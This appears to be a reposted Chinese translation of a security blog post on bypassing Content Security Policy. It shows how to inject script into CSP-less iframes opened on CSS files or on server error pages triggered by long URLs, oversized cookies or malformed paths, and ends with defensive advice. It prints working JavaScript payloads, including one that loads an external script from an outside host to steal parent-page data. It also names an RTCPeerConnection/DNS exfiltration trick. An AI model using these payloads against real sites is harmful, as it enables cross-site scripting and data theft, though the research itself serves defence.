巧妙地绕过CSP:欺骗CSP执行任意代码

栏目: 编程工具 · 发布时间: 7年前

内容简介:内容安全策略(Content Security Policy,CSP)是一种内置的浏览器技术,有助于防止跨站点脚本(XSS)等攻击。它列出并描述了路径和源,浏览器可以从这些路径和源安全地加载资源,这些资源可能包括图像、框架、JavaScricript等。但是,如果当所有不安全的资源来源都不被允许时,我们仍可以给出一个成功的XSS事件的例子呢?是怎么做到的呢?

巧妙地绕过CSP:欺骗CSP执行任意代码

前言

内容安全策略(Content Security Policy,CSP)是一种内置的浏览器技术,有助于防止跨站点脚本(XSS)等攻击。它列出并描述了路径和源,浏览器可以从这些路径和源安全地加载资源,这些资源可能包括图像、框架、JavaScricript等。

但是,如果当所有不安全的资源来源都不被允许时,我们仍可以给出一个成功的XSS事件的例子呢?是怎么做到的呢?

当一切正常时,CSP是如何工作的

这里一个常见的使用场景是当CSP指定图片只能从当前域加载时,这意味着所有带有外部域的标记都将被忽略。

CSP策略通常用于阻止不受信任的JS和最小化XSS攻击。

下面是一个允许从本地域(self)加载和执行以下资源的示例:

Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;

由于安全策略意味着“除非明确允许,否则禁止使用”,因此配置禁止使用任何执行作为字符串传输的代码的函数。例如:eval,setTimeout,setInterval都将被阻止,因为设置了unsafe-eval 巧妙地绕过CSP:欺骗CSP执行任意代码

来自外部源的任何内容也会被阻止,包括图像、CSS、WebSocket,特别是JS。

要了解它是如何工作的,请查看我特意放入XSS漏洞的 这段代码 。尝试以这种方式窃取数据而不惊动用户,即不重定向。

欺骗CSP

尽管有这些限制,我们仍然可以上传场景、创建框架和组合图像,因为self并不妨碍使用由SOP(Self Origin Policy)管理的资源。由于CSP也适用于框架,因此相同的策略也适用于可能包含以srcdoc作为协议的数据、blob或文件的框架。

巧妙地绕过CSP:欺骗CSP执行任意代码

那么,我们真的可以在测试文件中执行任意的javascript吗?

我们要依靠这里的一个整洁的勾子。大多数现代浏览器都会自动将文本文件或图像等文件转换为HTML页面。

巧妙地绕过CSP:欺骗CSP执行任意代码

这种行为的原因是为了正确地描述浏览器窗口中的内容;它需要有正确的背景、居中等等。不过,iframe也是一个浏览器窗口!因此,在iframe中打开任何需要在浏览器中显示的文件(例如,favicon.ico or robots.txt),只要内容类型正确,就会立即将它们转换为HTML,而无需进行任何数据验证。

如果一个框架打开了一个没有CSP头的站点页面,会发生什么?你可以猜出答案。没有CSP,一个开放的框架将执行页面内的所有JS。如果页面有XSS漏洞,我们可以自己在框架中编写一个js文件。

为了测试这一点,让我们尝试一个场景,它打开了一个iframe。让我们以我们前面已经提到的Bootstrap.min.css为例。

frame=document.createElement(“iframe”);
frame.src=”/css/bootstrap.min.css”;
document.body.appendChild(frame);

巧妙地绕过CSP:欺骗CSP执行任意代码

让我们看看框架里有什么。正如预期的那样,CSS被转换成HTML,我们设法覆盖了Head的内容(尽管开头是空的)。现在,让我们看看是否可以让它引入外部JS文件。

script=document.createElement(‘script’);
script.src=’//bo0om.ru/csp.js’;
window.frames[0].document.head.appendChild(script);

巧妙地绕过CSP:欺骗CSP执行任意代码

成功了!这就是我们如何通过iframe执行注入,创建我们自己的js场景,并查询父窗口以窃取其数据。

XSS攻击只需打开一个iframe,并将其指向任何不包含CSP头的路径。它可以是标准的.ico、robots.txt、sitemap.xml、css/js、jpg或其他文件。

PoC

简单的方法

如果站点开发人员非常谨慎,并且任何预期的站点响应(200-OK)都包含X-Frame-Options: Deny怎么办?我们还可以试着进去。使用CSP的第二个常见错误是在返回Web扫描错误时缺少保护头。最简单的方法就是尝试打开一个不存在的网页。我注意到许多资源只包含200代码响应的X-Frame-Options,而没有404代码的X-Frame-Options。

如果也考虑到了这一点,我们可以尝试让站点返回一个标准的web服务器“invalid request”消息。

例如,强制Nginx返回“400 bad request”,你所需要做的就是查询/./,以防止浏览器对请求进行规范化,并将/./替换为/./,我们将对圆点和最后一个斜杠使用Unicode。

frame=document.createElement(“iframe”);
frame.src=”/%2e%2e%2f”;
document.body.appendChild(frame);

巧妙地绕过CSP:欺骗CSP执行任意代码

这里的另一种可能是传递和不正确的Unicode路径,即/%或/%z

然而,让Web服务器返回错误的最简单方法是超出URL允许的长度。大多数现代浏览器都可以组合一个url,这个url比web服务器所能处理的时间要长得多。由此类web服务器和nginx&apache处理的标准默认url长度设置为不超过8KB。

为此,我们可以执行路径长度为20000字节的类似场景:

frame=document.createElement(“iframe”);
frame.src=”/”+”A”.repeat(20000);
document.body.appendChild(frame);

巧妙地绕过CSP:欺骗CSP执行任意代码

另一种欺骗服务器返回错误的方法是触发cookie长度限制。同样,浏览器支持比web服务器能够处理的 更多和更长的cookie 。按照同样的设想:

  1. 创建一个巨大的cookie
    for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)};
  2. 使用任何地址打开iframe,这将导致服务器返回错误(通常没有XFO或CSP)
  3. 移除cookie:
    for(var i=0;i<5;i++){document.cookie=i+”=”}
  4. 将自己的js脚本编写到窃取父级数据的框架中

你自己试试吧。下面是一些提示,如果你需要的话: PoC :)

有许多其他方法可以导致Web服务器返回错误,例如,我们可以发送一个很长的POST请求,或者以某种方式导致Web服务器500错误。

为什么CSP如此容易受骗,该怎么办?

简单的根本原因是,控制资源的策略嵌入到 资源本身 中。

为了避免出现这种情况,我的建议如下:

  • CSP报头应该出现在所有页面上。
  • 应将CSP选项配置为仅限于使用特定资源所必需的权限。尝试设置Content-Security-Policy-Report-Only: default-src ‘none’ ,并逐步为特定用户添加权限规则。

如果必须使用不安全内联来正确加载和处理资源,则唯一的保护是使用none或散列源。否则,你将暴露在XSS攻击中,如果CSP不能保护你,为什么需要它?!

此外,正如 @Majorisc 所分享的那样,从页面中窃取数据的另一个技巧是使用RTCPeerConnection并通过DNS请求传递数据。不幸的是,default-src ‘self’不能防止它。

审核人:yiwang   编辑:边边


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Mechanics of Web Handling

The Mechanics of Web Handling

David R. Roisum

This unique book covers many aspects of web handling for manufacturing, converting, and printing. The book is applicable to any web including paper, film, foil, nonwovens, and textiles. The Mech......一起来看看 《The Mechanics of Web Handling》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具